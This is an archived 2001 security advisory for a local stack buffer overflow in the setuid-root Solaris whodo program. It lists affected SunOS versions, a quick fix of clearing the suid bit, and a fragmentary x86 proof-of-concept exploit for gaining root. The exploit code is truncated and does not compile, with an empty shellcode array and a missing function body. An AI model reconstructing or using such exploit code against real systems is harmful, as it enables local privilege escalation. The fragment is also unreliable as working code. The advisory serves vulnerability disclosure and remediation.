Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: Pablo Sor (psorafip.gov.ar)
Date: Thu Jul 05 2001 - 09:55:55 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Vulnerability in Solaris whodo

    Date Published: July 5, 2001

    Advisory ID: N/A

    Bugtraq ID: 2935

    CVE CAN: Non currently assigned.

    Title: Solaris whodo Buffer Overflow Vulnerability

    Class: Boundary Error Condition

    Remotely Exploitable: No

    Locally Exploitable: Yes

    Vulnerability Description:

    The whodo program is installed setuid root by default in Solaris.
    It contains a vulnerability in handling data from enviroment variables,
    if this variable exceeds predefined lenght an exploitable stack overflow
    can occur.
    Through exploiting this vulnerability an attacker can gain effective
    uid root.

    Vulnerable Packages/Systems:

    SunOS 5.8
    SunOS 5.7
    SunOS 5.5.1

    (have not tested on other version)

    Solution/Vendor :

    Sun Microsystems was notified on June 28, 2001. Patches are excepted

    Quick Fix:

    Clear the suid bit of

    /usr/sbin/sparcv7/whodo (SunOS 5.8 Sparc)
    /usr/sbin/i86/whodo (SunOS 5.8, 5.7 Intel)
    /usr/sbin/whodo (SunOS 5.5.1)


    This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.
    psorafip.gov.ar, psorccc.uba.ar

    This advisory was drafted with the help of the SecurityFocus.com Vulnerability
    Help Team. For more information or assistance drafting advisories please mail

    Technical Description - Exploit/Concept Code:

    #include <fcntl.h>

       /usr/sbin/i86/whodo overflow proof of conecpt.

       Pablo Sor, Buenos Aires, Argentina 06/2001
       psorafip.gov.ar, psorccc.uba.ar

       works against x86 solaris 8

       default offset +/- 100 should work.


    long get_esp() { __asm__("movl %esp,%eax"); }

    int main(int ac, char **av)

    char shell[]=

      unsigned long magic = get_esp() + 1180; /* default offset */

      unsigned char buf[800];
      char *env;

      env = (char *) malloc(400*sizeof(char));


    Pablo Sor
    psorafip.gov.ar, psorccc.uba.ar